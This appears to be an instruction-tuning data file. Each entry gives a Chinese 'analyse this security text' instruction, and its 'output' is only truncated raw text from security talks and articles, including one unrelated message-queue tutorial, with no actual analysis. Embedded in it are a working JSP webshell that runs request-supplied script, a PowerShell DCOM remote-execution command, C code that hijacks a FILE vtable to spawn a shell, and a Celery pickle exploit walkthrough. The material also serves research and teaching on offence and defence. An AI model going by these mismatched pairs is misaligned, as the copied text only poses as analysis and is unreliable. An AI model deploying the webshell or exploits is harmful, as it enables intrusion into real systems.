Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

$ whoami b1t<master@zomeye.org> GitHub/Twitter @zom3y3 #Pentest #C #Antivirus #Python #Botnet #DDoS TO BE A MALWARE HUNTER! Attention ! 以下言论仅代表个人观点,与任何组织和其他个人没有任何关系 本议题数据纯属虚构,如有雷同纯属巧合 Outline  为什么研究僵尸网络?  僵尸网络识别监控技术分享  Silver Lords黑客组织追踪分析 为什么研究僵尸网络  解决思路封IP+杀进程 从哪里开始  2014年底当我在阿里云每天需要解决30个恶意主机工单的时候 怎么解决 ACM(恶意软件追踪系统) F2M H2M S2M 自主杀毒软件设计(FindMalware) 进程检测 流量检测 恶意主机项目 恶意进程 恶意IP FindMalware 简介: FindMalware是一款用C/C++语言编写覆盖Windows和Linux平台的恶意软件追踪 工具其以PEELF 代码段哈希值作为静态特征检测恶意软件并获取进程socket通信 提取恶意软件CNC除此之外它也集成了信息采集器功能能够采集主机文件进程网 络等信息并配合云端数据分析平台进行高级威胁检测 项目地址https://github.com/zom3y3/findmalware  ELF  PE 可执行文件 进程模块 父进程 进程检测  socket 进程通信 文件信息 进程信息 网络信息 信息采集  信息上报 威胁源监控 人肉添加 漏报机制 VT等平台 网络爬虫 ClamAV 病毒库 病毒特征库 基本行为 进程通信 病毒识别 提取CNC TCP/UDP 进程通信 文件hash追踪 网络流量追踪 PoC追踪 信息追踪  410万自主病毒库  集成多款AV  30秒/台  9个月  50个中控/天  病毒检出率95%  XX重大案件 Now ! 僵尸网络威胁情报项目规划 情报搜集平台 分布式蜜罐 系统 情报订阅系 统 情报分析平台 C&C自动 化监控系统 僵尸网络关 联分析系统 情报分 发平台 僵尸网络威 胁情报平台 Honeypot 蜜罐系统是作为 情报搜集平台一 个主要部分其 主要目的是搜集 主流的PoC恶 意软件样本恶 意下载源等 利用MHN进行分布式蜜罐部署 利用MHN进行分布式蜜罐部署 利用MHN进行分布式蜜罐部署 CNC Command Tracking CNC监控系统是 作为情报分析平 台一个主要部分 其主要目的是逆 向分析主流僵尸 网络通信协议 并监控其攻击指 令 https://github.com/ValdikSS/billgates-botnet-tracker 挑选Linux/Setag.B.Gen样本80d0cac0cd6be8010819fdcd7ac4af46 作为本次测试对象 挑选Linux/Setag.B.Gen样本80d0cac0cd6be8010819fdcd7ac4af46 作为本次测试对象  C&C提取  C&C探活  C&C分类  C&C通信协议解密  C&C监控  C&C提取  C&C探活  C&C分类  C&C通信协议解密  C&C监控  C&C提取  C&C探活  C&C分类  C&C通信协议解密  C&C监控 利用Splunk进行简单的数据分析 利用Splunk进行简单的数据分析 利用Splunk进行简单的数据分析 利用Splunk进行简单的数据分析 SmartQQ Group Message Tracking SmartQQ在线WebQQ网页 平台,是腾讯在WebOS云平 台上推出的一款单纯的聊 天工具通过逆向分析 SmartQQ通信协议可以 实现QQ群上的黑产监控 项目地址https://github.com/zom3y3/QQSpider Silver Lords 2014年12月31号,我 通过分析一个ftpBrute 恶意代码追踪到一个巴 西黑客组织Silver Lords,并通过xss漏洞 进入Silver Lords 黑 产平台. 主要成员: Al3xG0 Argus Ankhman Flythiago nulld  AWLOOKWINSIDEWTHEWBRAZILIANWUNDERGROUND  近3 W FTP 站点  70 个政府系统  N个NASA站点  1000+ Cpanel  7000+ c99shell  62WWCPF巴西税卡 Silver Lords组织分析 SilverWLords ftpBrute painel.cyberunder.org/painel.p hp 客户端:FtpBrute.pl cPanle painel.cyberunder.org/c


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

DROID-FF  THE ANDROID FUZZING FRAMEWORK TWITTER : @ANTOJOSEP007 GITHUB : @ANTOJOSEPH @WHOAMI  security engineer @ intel  android security enthusiast  speaker / trainer @ Hitb Amsterdam, brucon / hackinparis / blackhat / nullcon / ground zero / c0c0n   when not hacking , you can see me travelling / djing / biking DROID-FF : WHY ?  attempts to solve fuzzing in mobile devices (* android )  challenges in fuzzing :  data  generation  low powered devices  crash logging  crash triage  exploitable or not ? DROID-FF : APPROACH  scripts written in python  integrates with peach / pyzuff / radamsa  custom crash logging  custom crash triaging  exploitable checks via gdb plugin J  Fully automated DROID-FF : DATA GENERATION  two approaches  dump fuzzing using radamsa / pyzuff  generation based fuzzing using peach  to counter checksums / magic numbers , custom fixers are added (for eg : dex repair for fixing checksums in randomly mutated dex files (credits : github.com/anestisb )  Grammar specified in pit files for peach DROID-FF : FUZZING CAMPAIGN  Runs the generated files against the target binary ( for eg : /system/xbin/dexdump crash1.dex )  Makes use of adb_android python module to push generated files to device  Makes use of adb shell command to execute the file against the target binary  Adds a custom log to the android logcat so that we can track any files responsible for the crash ( for eg : log -p F -t CRASH_LOGGER SIGSEGV : filename.dex ) DROID-FF : BUILDING ANDROID MODULES  Navigate to the module directory ( eg : /frameworks/av/cmd/stagefright/)  Use the make helper  source build/envsetup.sh  edit (/frameworks/av/cmd/stagefright/Android.mk) and LOCAL_MODULE =$BUILD_EXECUTABLE  mma ( /out/target/product/generic/system/xbin/dexdump) DROID-FF : PROCESSING THE LOGS  Pulls the adb logcat data from the device by saving it to a file and adb pull  Parse the log file and look for crashes ("SIGSEGV", "SIGSEGV", "SIGFPE","SIGILL)  If a crash is found , go up the lines until you fin


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 消息队列  * [消息队列](#消息队列) * [一消息模型](#一消息模型) * [点对点](#点对点) * [发布/订阅](#发布订阅) * [二使用场景](#二使用场景) * [异步处理](#异步处理) * [流量削锋](#流量削锋) * [应用解耦](#应用解耦) * [三可靠性](#三可靠性) * [发送端的可靠性](#发送端的可靠性) * [接收端的可靠性](#接收端的可靠性) * [参考资料](#参考资料)  ## 一消息模型 ### 点对点 消息生产者向消息队列中发送了一个消息之后只能被一个消费者消费一次

 ### 发布/订阅 消息生产者向频道发送一个消息之后多个消费者可以从该频道订阅到这条消息并消费

 发布与订阅模式和观察者模式有以下不同 - 观察者模式中观察者和主题都知道对方的存在而在发布与订阅模式中生产者与消费者不知道对方的存在它们之间通过频道进行通信 - 观察者模式是同步的当事件触发时主题会调用观察者的方法然后等待方法返回而发布与订阅模式是异步的生产者向频道发送一个消息之后就不需要关心消费者何时去订阅这个消息可以立即返回

 ## 二使用场景 ### 异步处理 发送者将消息发送给消息队列之后不需要同步等待消息接收者处理完毕而是立即返回进行其它操作消息接收者从消息队列中订阅消息之后异步处理 例如在注册流程中通常需要发送验证邮件来确保注册用户身份的合法性可以使用消息队列使发送验证邮件的操作异步处理用户在填写完注册信息之后就可以完成注册而将发送验证邮件这一消息发送到消息队列中 只有在业务流程允许异步处理的情况下才能这么做例如上面的注册流程中如果要求用户对验证邮件进行点击之后才能完成注册的话就不能再使用消息队列 ### 流量削锋 在高并发的场景下如果短时间有大量的请求到达会压垮服务器 可以将请求发送到消息队列中服务器按照其处理能力从消息队列中订阅消息进行处理 ### 应用解耦 如果模块之间不直接进行调用模块之间耦合度就会很低那么修改一个模块或者新增一个模块对其它模块的影响会很小从而实现可扩展性 通过使用消息队列一个模块只需要向消息队列中发送消息其它模块可以选择性地从消息队列中订阅消息从而完成调用 ## 三可靠性 ### 发送端的可靠性 发送端完成操作后一定能将消息成功发送到消息队列中 实现方法在本地数据库建一张消息表将消息数据与业务数据保存在同一数据库实例里这样就可以利用本地数据库的事务机制事务提交成功后将消息表中的消息转移到消息队列中若转移消息成功则删除消息表中的数据否则继续重传 ### 接收端的可靠性 接收端能够从消息队列成功消费一次消息 两种实现方法 - 保证接收端处理消息的业务逻辑具有幂等性只要具有幂等性那么消费多少次消息最后处理的结果都是一样的 - 保证消息具有唯一编号并使用一张日志表来记录已经消费的消息编号 ## 参考资料 - [Observer vs Pub-Sub](http://developers-club.com/posts/270339/) - [消息队列中点对点与发布订阅区别](https://blog.csdn.net/lizhitao/article/details/47723105)


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

安卓APP在各种场景下的调试总结 前言 做此项工作的原因在于笔者之前在CTF比赛中遇到Android逆向类型的题目时因为只有一个安卓手机作 为主力机出于安全考虑以及手机厂商限制通常很难获得root权限再比如使用模拟器则通常面临x86 环境下调试arm native模块的困难常常因为调试问题困扰很久于是下定决心折腾一番希望能对各 位在各种不同限制条件下能够对安卓APP进行调试有所帮助其中难免遗漏或错误之处也欢迎各位师傅 指正 如何动态运行待调试的APP 想要调试一个安卓APP首先最基本的就是要具备一个可以将其动态运行起来的环境这个环境整体上 可以分为模拟器环境和真机环境 模拟器 模拟器方面大致是有三种不同的选择可以在不同条件下选择合适的 基于VirtualBox的安卓模拟器以逍遥夜神等为代表的市场上最常见的一类模拟器核心是基于 VirtualBox的x86虚拟机在虚拟机中安装安卓操作系统 优点1.可以使用硬件虚拟化技术加速 2.模拟整个操作系统提供了极为完整的软件运行环 境软件兼容性较强 缺点1.该类模拟器虚拟机中通常安装x86平台的安卓系统在运行只含有arm平台native库 的APP时可能会出现问题可以尽量选择安卓9.0或11.0及以上版本的该类模拟器其中新增 的指令翻译技术可以让x86平台模拟运行arm指令此外使用IDA pro对native层模块进行调 试时会报错即arm native层模块在此环境下能运行但是不能调试具体可能是由于指令转译 机制的存在导致 BlueStacks为代表的基于API翻译技术的原理是把Android底层API接口翻译成Windows API 优点1.因为采用API翻译其运行效率高且对PC硬件本身没有硬件虚拟化要求在硬件兼 容性方面有一定的优势 缺点1.Bluestacks需要翻译的Android接口数量巨大很难面面俱到软件兼容性方面欠佳 2.该类模拟器同样通常支持x86平台的安卓系统在运行只含有arm平台native库的APP时可 能会出现问题可以选择4.0及以上版本的Bluestacks模拟器Bluestacks也具有指令翻译技 术可以让x86平台模拟运行arm指令此外使用IDA pro对native层模块进行调试时也会报 错即arm native层模块在此环境下能运行但是不能调试具体可能是由于指令转译机制的存 在导致 Android Virtual DeviceAndroid Studio中的模拟器组件 优点1.可以选择模拟原生arm架构的安卓系统软件兼容性最好能够使用ida调试arm native层模块 缺点1.基于qemu模拟器进行arm安卓系统存在巨大的指令翻译开销速度很慢 Android Studio的安装包比较大其实AVD组件是可以单独安装的这里给出一个关于AVD安 装使用的小技巧,即使用官方的command-tools手动安装配置模拟器组件 安卓真机 使用真机环境是最佳选择但是不便之处在于 通常主力机为了安全考虑都不会进行root或者因为目前手机厂商限制无法root 调试机一般本身就是淘汰的旧手机再者如果只用来调试比如电池长时间忘记充电可能寿命很快 就会结束 具备root权限的真机环境当然是最完美的调试环境了本文后续主要讨论无root环境下的真机环境 比较 通过以上对比笔者在调试APP时通常首先考虑是否要进行native层且是arm架构的native模块的调试 如果不需要则使用一般的安卓模拟器就可以方便的调试如果需要那么通常考虑真机调试或使用AVD模 拟arm安卓系统调试 如何获取APP的调试权限 安卓系统中想要调试APP的一个条件是APP是可调试的即AndroidManifest.xml中的 android:debuggable=true而通常的APP release版本通常都是取消这个属性的那么这种情况该如何 解决呢 //使用命令行配置安装模拟器 //列出所有可安装软件包 sdkmanager --list //安装几个必须的组件 sdkmanager emulator sdkmanager platform-tools sdkmanager extras;google;Android_Emulator_Hypervisor_Driver //硬件加速驱动 sdkmanager platforms;android-31 //这个是最新的SDK不然模拟器运行不起来 //选择一个安卓镜像笔者测试安卓7.1.1版本是可用的 sdkmanager system-images;android-25;google_apis;arm //创建一个device avdmanager create avd -n avd -k "system-images;android- 25;google


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

T1175: Lateral Movement via DCOM 查看mitre ATT&CK 的描述已经不推荐使用该技术推荐使用Remote Services: Distributed Component Object Model和Inter-Process Communication: Component Object Model 参考 The Component Object Model LATERAL MOVEMENT USING EXCEL.APPLICATION AND DCOM 域渗透利用DCOM在远程系统执行程序 组件对象模型 什么是DCOM Distributed Component Object Model 分布式组件模型,先说下COM Component Object Model 组件对象模型 COM componentCOM组件是微软公司为了计算机工业的软件生产更加符合人类的行为方式 开发的一种新的软件开发技术百科 The Microsoft Component Object Model (COM) is a platform-independent, distributed, object-oriented system for creating binary software components that can interact. COM is the foundation technology for Microsoft's OLE (compound documents), ActiveX (Internet- enabled components), as well as others.MSDN 简要的描述下COM COM 不是一种面向对象的语言而是一种标准和编程语言或OS无关 COM对语言的唯一要求代码在能够创造指针结构的语言中生成并且能够通过指针显式或隐式 的调用函数 COM 主要的两个内容对象和接口 每个对象和接口都关联一个128位的GUID全局唯一标识符称为类CLSID类标识符用于 标识唯一的COM对象 COM 类在操作系统中注册的位于注册表中 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID DCOM是什么 RPC+COM == DCOM ,DCOM允许COM组件利用网络来传输数据 笔者这里只是简单里描述关键概念Microsoft 为了实现跨机器跨语言跨平台跨进程 COM的内容非常之复杂 对DCOM有了一个了解下面的测试过程可以概括为利用DCOM 远程调用COM组件执行命令 Execution MMC20.Application COM class 存储在注册表中 和目标建立连接 通过DCOM对象在受害者系统上执行命令 仅演示既然能执行cmd就能执行其他命令反弹shell存活探测等等 不要局限演示例如在Cobalt Strike beacon 中执行命令等等 Get-ChildItem 'registry::HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{49B2791A-B1AE- 4C90-9B8E-E860BA07F889}' $a = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application. 1","192.168.3.142")) $a.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c hostname > c:\Hostname.txt","7") Observations 先看下整个执行命令过程发生的日志 使用ProcessMonitor 查看下进程详情 mmc.exe 的父进程是 svchost.exe ,在TCP/IP 菜单中可以查看到 PC-jerry-0day 向 OWA2010SP3 建立的 连接 使用ProcessMonitor 查看 "mmc.exe"启动过程中的调用 stack堆栈调用了 rpcrt4.dll : 小结 使用DCOM横向的方法还有很多文章的原作者写了几篇关于DCOM 横向的有机会在学习吧可能 我们用的最多的是 impacket 中的dcomexec ,原理上有所不同具体哪里不同笔者也说不上来如果 有知道的师傅请指教唯一注意的点需要管理权限 参考 View::ExecuteShellCommand method LATERAL MOVEMENT USING THE MMC20.APPLICATION COM OBJECT GetTypeFromCLSID(Guid, String) COM Technical Ov


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Celery <4.0 Redis unauthorized access + Pickle deserialization exploit [中文版本(Chinese version)](./README.zh-cn.md) Celery is a simple, flexible, and reliable distributed system that processes a large number of messages while providing the tools needed to operate and maintain such a system. It is a task queue focused on real-time processing and also supports task scheduling. In Celery <4.0 version, Pickle is used by default for serialized task messages. When the queue servicee.g. Redis/RabbitMQ/RocketMQ  used has an unauthorized access problem, the Pickle deserialization vulnerability can be used to execute arbitrary code. ## Vulnerability Environment Execute the following command to start Celery 3.1.23 + Redis: ```bash docker compose up -d ``` ## Exploit The exploit script `exploit.py` only supports use under python3 ```bash pip install redis python exploit.py [Host IP] ``` View Results ``` docker compose logs celery ``` You can see the following task message error ![](a.png) ```bash docker compose exec celery ls -l /tmp ``` You can see that the file `celery_success` was successfully created ![](b.png) ## Reference https://docs.celeryproject.org/en/stable/userguide/configuration.html https://www.bookstack.cn/read/celery-3.1.7-zh/8d5b10e3439dbe1f.md#dhfmrk https://docs.celeryproject.org/en/stable/userguide/calling.html#serializers https://www.jianshu.com/p/52552c075bc0 https://www.runoob.com/w3cnote/python-redis-intro.html https://blog.csdn.net/SKI_12/article/details/85015803


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1 新型句话连接原有句话 @yzddMr6 1.jsp Payload 密码test 1 <%@ page import="javax.script.ScriptEngineManager" %> 2 <%@ page import="javax.script.ScriptEngine" %><% 3 try { 4 ScriptEngine engine = new ScriptEngineManager().getEngine ByName("js"); 5 engine.put("request", request); 6 engine.put("response", response); 7 engine.eval(request.getParameter("mr6")); 8 } catch (Exception e) { 9 System.out.println("error: "+e);; 10 } 11 %> 1 try { 2 load("nashorn:mozilla_compat.js"); 3 } catch (e) {} 4 importPackage(Packages.java.util); 5 importPackage(Packages.java.lang); 6 importPackage(Packages.java.io); 7 var output = new StringBuffer(""); 8 var cs = "UTF-8"; 9 response.setContentType("text/html"); 10 request.setCharacterEncoding(cs); 11 response.setCharacterEncoding(cs); 12 function Base64DecodeToByte(str) { 13 importPackage(Packages.sun.misc); 14 importPackage(Packages.java.util); 15 var bt; 2 添加到蚁剑参数 16 try { 17 bt = new BASE64Decoder().decodeBuffer(str); 18 } catch (e) { 19 bt = new Base64().getDecoder().decode(str); 20 } 21 return bt; 22 } 23 function defineShell(cls) { 24 var payload = Base64DecodeToByte(cls); 25 var loader = Thread.currentThread().getContextClassLoader(); 26 var byteArray = Java.type("byte[]"); 27 var int = Java.type("int"); 28 var defineMethod = java.lang.ClassLoader.class.getDeclaredMetho d( 29 "defineClass", 30 byteArray.class, 31 int.class, 32 int.class 33 ); 34 defineMethod.setAccessible(true); 35 var constructor = 36 java.security.SecureClassLoader.class.getDeclaredConstructor( 37 ClassLoader.class 38 ); 39 constructor.setAccessible(true); 40 var cl = constructor.newInstance(loader); 41 var c = defineMethod.invoke(cl, payload, 0, payload.length); 42 c.newInstance().equals(request); 43 } 44 defineShell(request.getParameter("test")); 3 修改密码为test使原有类型连接连接成功 可以使As-Exploits插件所有功能 4


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Auditing 6LoWPAN Networks using Standard Penetration Testing Tools Adam Reziouk Airbus Defence and Space adam.reziouk@airbus.com Arnaud Lebrun Airbus Defence and Space arnaud.lebrun@airbus.com Jonathan-Christofer Demay Airbus Defence and Space jcdemay@airbus.com ABSTRACT The Internet of Things is expected to be involved in the near future in all major aspects of our modern society. On that front, we argue that 6LoWPAN is a protocol that will be a dominant player as it is the only IoT-capable protocol that brings a full IP stack to the smallest devices. As evidence of this, we can highlight the fact that even the latest ZigBee Smart Energy standard is based on ZigBee IP which itself relies on 6LoWPAN, a competitor of the initial ZigBee protocol. Efficient IP-based penetration testing tools have been available to security auditors for years now. However, it is not that easy to use them in the context of a 6LoWPAN network since you need to be able to join it first. In fact, the difficult part is to associate with the underlying IEEE 802.15.4 infrastructure. Indeed, this standard already has two iterations since its release in 2003 and it provides with several possibilities regarding network topology, data transfer model and security suite. Unfortunately, there is no off-the-shelf component that provides, out of the box, with such a wide range of capabilities. Worst still, some of them deviate from the standard and can only communicate with components from the same manufacturer. In this paper, we present the ARSEN project: Advanced Routing for 6LoWPAN and Ethernet Networks. It provides security auditors with two new tools. First, a radio scanner that is capable of identifying IEEE 802.15.4 networks and their specificities, including several deviations from the standard that we encountered in actual security audits. Secondly, a border router capable of routing IPv6 frames between Ethernet and 6LoWPAN networks while adapting to the specificities identified by the scanner.


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

### 伪造vtable劫持程序流程简介 前面我们介绍了Linux中文件流的特性FILE我们可以得知Linux中的一些常见的IO操作函数都需要经过FILE结构进行处理尤其是_IO_FILE_plus结构中存在vtable一些函数会取出vtable中的指针进行调用 因此伪造vtable劫持程序流程的中心思想就是针对_IO_FILE_plus的vtable动手脚通过把vtable指向我们控制的内存并在其中布置函数指针来实现 因此vtable劫持分为两种一种是直接改写vtable中的函数指针通过任意地址写就可以实现另一种是覆盖vtable的指针指向我们控制的内存然后在其中布置函数指针 ### 伪造vtable劫持程序实践 这里演示了修改vtable中的指针首先需要知道_IO_FILE_plus位于哪里对于fopen的情况下是位于堆内存对于stdin\stdout\stderr是位于libc.so中 ``` int main(void) { FILE *fp; long long *vtable_ptr; fp=fopen("123.txt","rw"); vtable_ptr=*(long long*)((long long)fp+0xd8); //get vtable vtable_ptr[7]=0x41414141 //xsputn printf("call 0x41414141"); } ``` 根据vtable在_IO_FILE_plus的偏移得到vtable的地址在64位系统下偏移是0xd8之后需要搞清楚欲劫持的IO函数会调用vtable中的哪个函数关于IO函数调用vtable的情况已经在FILE结构介绍一节给出了知道了printf会调用vtable中的xsputn并且xsputn的是vtable中第八项之后就可以写入这个指针进行劫持 并且在xsputn等vtable函数进行调用时传入的第一个参数其实是对应的_IO_FILE_plus地址比如这例子调用printf传递给vtable的第一个参数就是_IO_2_1_stdout_的地址 利用这点可以实现给劫持的vtable函数传參比如 ``` #define system_ptr 0x7ffff7a52390; int main(void) { FILE *fp; long long *vtable_ptr; fp=fopen("123.txt","rw"); vtable_ptr=*(long long*)((long long)fp+0xd8); //get vtable memcopy(fp,"sh",3); vtable_ptr[7]=system_ptr //xsputn fwrite("hi",2,1,fp); } ``` 但是在目前libc2.23版本下位于libc数据段的vtable是不可以进行写入的不过通过在可控的内存中伪造vtable的方法依然可以实现利用 ``` #define system_ptr 0x7ffff7a52390; int main(void) { FILE *fp; long long *vtable_addr,*fake_vtable; fp=fopen("123.txt","rw"); fake_vtable=malloc(0x40); vtable_addr=(long long *)((long long)fp+0xd8); //vtable offset vtable_addr[0]=(long long)fake_vtable; memcpy(fp,"sh",3); fake_vtable[7]=system_ptr; //xsputn fwrite("hi",2,1,fp); } ``` 我们首先分配一款内存来存放伪造的vtable之后修改_IO_FILE_plus的vtable指针指向这块内存因为vtable中的指针我们放置的是system函数的地址因此需要传递参数"/bin/sh"或"sh" 因为vtable中的函数调用时会把对应的_IO_FILE_plus指针作为第一个参数传递因此这里我们把"sh"写入_IO_FILE_plus头部之后对fwrite的调用就会经过我们伪造的vtable执行system("sh") 同样如果程序中不存在fopen等函数创建的_IO_FILE时也可以选择stdin\stdout\stderr等位于libc.so中的_IO_FILE这些流在printf\scanf等函数中就会被使用到在libc2.23之前这些vtable是可以写入并且不存在其他检测的 ``` print &_IO_2_1_stdin_ $2 = (struct _IO_FILE_plus *) 0x7ffff7dd18e0


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Xploiting Google Gadgets: Gmalware and Beyond Robert Hansen Tom Stracener DRAFT: Complete slides will be made available after our talk. The Dark Side of Gadgets Complete slides will be made available after the our talk on August 8th. Xploiting Google Gadgets: Gmalware and Beyond Tom Stracener & Robert Hansen (Rsnake) If todays malware mostly runs on Windows because its the commonest executable platform, tomorrows will likely run on the Web, for the very same reason. Because, like it or not, Web is already a huge executable platform, and we should start thinking at it this way, from a security perspective. PDP, Architect, GNUCITIZEN, quoting Giorgio Maone XSS hole in gmodules.com Vulnerability documented by Rsnake in 2007 http://ha.ckers.org/blog/20070817/xss-hole-in-google-apps-is- expected-behavior/ XSS was never fixed and is never going to be fixed Rsnake reported the vulnerability to Google and finally Disclosed its existence to the public after dialog with google Those of you that havent read Rnsakes blog are probably wondering why? Cross-Site Scripting is a serious vulnerability, so why was it ignored? XSS So what? Execute arbitrary code Use javascript and HTML to craft custom payloads Content Spoofing Make users believe that content is legitimate when in fact it is controlled by an attacker with malicious intent. Phishing Steal user passwords by faking login portals to web- based services, devices, or web sites. Arbitrary Javascript executes whenever the user follows a link to the gadget or if the gadget is embedded within a web page. XSS is Expected Behavior Googles Argument (one line) We need javascript, we cant turn it off, so arbitrary execution of javascript is part of the expected behavior On further review, it turns out that this is not a bug, but instead the expected behavior of this domain. Javascript is a supported part of Google modules, as seen, for example, here: http://www.google.com/apis/maps/documentation/mapplets/#Hello_World_of_Mapplets. Sinc


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Breaking Forensics Software: Weaknesses in Critical Evidence Collection Tim Newsham - <tim[at]isecpartners[dot]com> Chris Palmer - <chris[at]isecpartners[dot]com> Alex Stamos - <alex[at]isecpartners[dot]com> iSEC Partners, Inc 115 Sansome Street, Suite 1005 San Francisco, CA 94104 http://www.isecpartners.com July 1, 2007 Abstract This article presents speciﬁc vulnerabilities in common forensics tools that were not previously known to the public. It discusses security analysis techniques for ﬁnding vulnerabilities in forensic software, and suggests additional security-speciﬁc acceptance criteria for consumers of these products and their forensic output. Traditional testing of forensics software has focused on robustness against data hiding techniques and accurate reproduction of evidence. This article argues that more security focused testing, such as that performed against security-sensitive commercial software, is warranted when dealing with such critical products. Note: Due to the deadline for submitting presentation materials to Black Hat and the ongoing nature of our conversation with Guidance Software, we are unable to present in this revision of the paper all the details of the defects in EnCase that we found. By the time you read this, this version of the paper will be out of date and the canonical version may have the defect details. Please see https: // www. isecpartners. com/ blackhat to ﬁnd the most recent version of this paper as well as several of the tools we created during our research. 1 Introduction This article presents speciﬁc vulnerabilities in common forensics tools that were not previously known to the public, discusses techniques for ﬁnding vulnerabilities in forensic software, and recommends additional security-speciﬁc acceptance criteria buyers should apply. The primary contribution of this work is to take an adversarial look at forensics software and apply fuzzing and vulnerability assessment common to analysis of other products, such as op


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

making fun of your malware Defcon 17 Matt Richard and Michael Ligh Following the presentation at Defcon 17, you can find the final slides here: http://code.google.com/p/mhl-malware-scripts/Defcon2009_MakingFun.pdf Silent Banker author forgets to seed the PRNG Honey, I Shrunk the Entropy! Off to a bad start Zeus, September 2007 PRNG used to avoid hash-based detection Silent Banker, Feburary 2008 PRNG used to generate temporary file names Recipe for disaster - step 1 Silent Banker, July 2008 PRNG used to generate encryption key Recipe for disaster 1. Seed the PRNG 2. Generate 16 byte key with 1000 calls to rand() 3. Generate 8 byte number from 16 byte key 4. Generate another 8 byte number from the first 8 byte number and secd value from INI configuration file 5. Explode the second 8 byte number into 32 bytes 6. Encrypt stolen data with original 16 byte key from step 2 7. Send the exploded 32 byte number along with stolen data Recipe to exploit the disaster 1. Seed the PRNG TO ZERO 2. Generate 16 byte key with 1000 calls to rand() 3. Generate 8 byte number from 16 byte key 4. Generate another 8 byte number from the first 8 byte number and secd value from INI configuration file 5. Explode the second 8 byte number into 32 bytes 6. Encrypt stolen data with original 16 byte key from step 2 7. Send the exploded 32 byte number along with stolen data Disaster recovery The one that got away Torpig installs MBR rootkit to get a DLL Injected into user-mode programs I created a hyper cool MBR rootkit and all I got was this old trojan DLL The nasty side The funny side The nice side Attackers trojan defaults to xor due to invalid size DES key To DES or not to DES? Always make backups! xor backup method How to shoot yourself in the foot MSDN to the rescue Conficker.Bs flawed IP generator only scans a portion of the Internet Honey, sorry to bother you again, I shrunk the Internet The flawed method Whats the big deal? 1. Excludes multicast, private, broadcast, etc 2. Excludes IPs on b


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

精简版 SDL 落地实践 Author:@好好学习英语的 abc 前言 一般安全都属于运维部下面和上家公司的运维总监聊过几次一些日常安全工 作能不能融入到 DevOps 中没多久因为各种原因离职18 年入职 5 月一家第 三方支付公司前半年在各种检查中度过监管形势严峻加上大领导对安全的 重视(主要还是监管)所有部门 19 年的目标都和安全挂钩由于支付公司需要 面对各种监管机构的检查部分安全做的比较完善经过近一年对公司的熟悉 发现应用安全方面比较薄弱这部分业内比较好的解决方案就是 SDL和各厂 商交流过之后决定自己照葫芦画瓢在公司一点一点推广 一精简版 SDL 上图为标准版的 SDL,由于运维采用 DevOps 体系测试也使用自动化进行 功能测试版本迭代周期比较快,安全人手不足加上对 SDL 的威胁建模等方 法也一头雾水如果把安全在加入整个流程会严重影响交付时间在这种 情况调研了一些业内的一些做法决定把 SDL 精简化 精简版 SDL 如 下 二精简版 SDL 落地实践 1 安全培训 SDL 核心之一就是安全培训所以在安全培训上我们做了安全编码 安全 培训 安全 需求 设计 开发 实现 验证 发布 监控 安全意识安全知识库安全 SDK 1.1 安全编码 我们在网上找了一些 java 安全编码规范产品安全设计及开发安全 规范结合公司实际业务出了一版 因为各种监管机构对培训都有要求借此推了一下安全培训定期对 开发和新员工入职的培训 1.2 安全意识 公司有企业微信公众号大部分员工都关注了在公众号推广了一波 宣传完之后答题答题满分送小礼品 因为人手不足而功能测试和安全测试本质上有很多相通的地方测试部 门也比较配合针对测试人员做了一些安全测试相关的培训但是效果并不是太理 想 1.3 安全知识库 在漏洞修复过程中开发很多不太了解漏洞原理修复方案所以我 们建立了安全知识库开发先到安全知识库查相关解决方法找不到 的再和安全人员沟通安全人员对知识库不断更新形成一个闭环 1.4 安全 SDK 由于公司有架构部门开发框架基本是架构部门提供我们将一些 常 见 的 漏 洞 和 架 构 部 门 沟 通 之 后  让 架 构 将 一 些 漏 洞 修 复 方 式 用 SDK 实现开发只需要导入 JAR 包在配置文件中配置即可其中 也挺多坑的需要慢慢优化 2 安全需求设计 公司有项目立项系统所有的项目立项都需要通过系统来进行立项 安全为必选项评审会安全也必须要参与 这个时候基本上项目经理会找安全人员进行沟通copy 了一份 VIP 的产品安全设计规范根据需求文档和项目经理确定安全需求 确认好安全需求之后将按需求加入到需求文档并确认安全测试时 间此流程只针对新项目已经上线的项目的需求并未按照此流程 后续在安全测试时候会讲到这部分的项目是怎么做的 三开发安全测试 安全测试主要分为代码审计漏洞扫描手工安全测试由此衍生出 来 的 安 全 产 品 分 为 3 类  DAST  动 态 应 用 程 序 安 全 测 试  wvs,appscan  SAST  静 态 应 用 程 序 安 全 测 试 (fortify,rips)IAST交互式应用程序安全测试 seeker雳 鉴  , 这 三 种 产 品 的 详 细 介 绍 可 以 参 考 https://www.aqniu.com/learn/46910.html,下图为三种产品 的测试结果对比 这几类产品实现了自动化可以继承到 DevOps 中接下来我们将这些 工具融入到开发测试阶段 IAST 的实现模式较多常见的有代理模式VPN流量镜像插桩模 式本文介绍最具代表性的 2 种模式代理模式和插桩模式一些调 研过的产品如下图具体测试结果就不公布了 2.1 开发阶段 在对几类产品调研的时候发现 IAST 的插桩模式可以直接放到开发环 境开发环境和测试环境的代码区别主要还是在于 application.yml 配置文 件所以可以提前将该模式放到开发阶段 开发写完代码提交到 gitlab 部署到开发环境启动应用的时候开发 需要验证一下功能是否可用这个时候就可以检测出是否存在漏洞 公司在测试环境使用 rancher把 IAST 的 jar 包放入到项目的 gitlab,在部署的时候把代码拉到本地通过修改 Dockerfile 文件把 jar 包添加到容器  ADD shell/xxx.jar /home/app/xx/lib 由于公司项目基本统一使用 spring-boot所有的项目都通过一个 start.sh 脚本来启动应用start.sh 和 Dockerfile 一样需要添加到项 目的 gitlab同时修改 start.sh 脚本文件即可 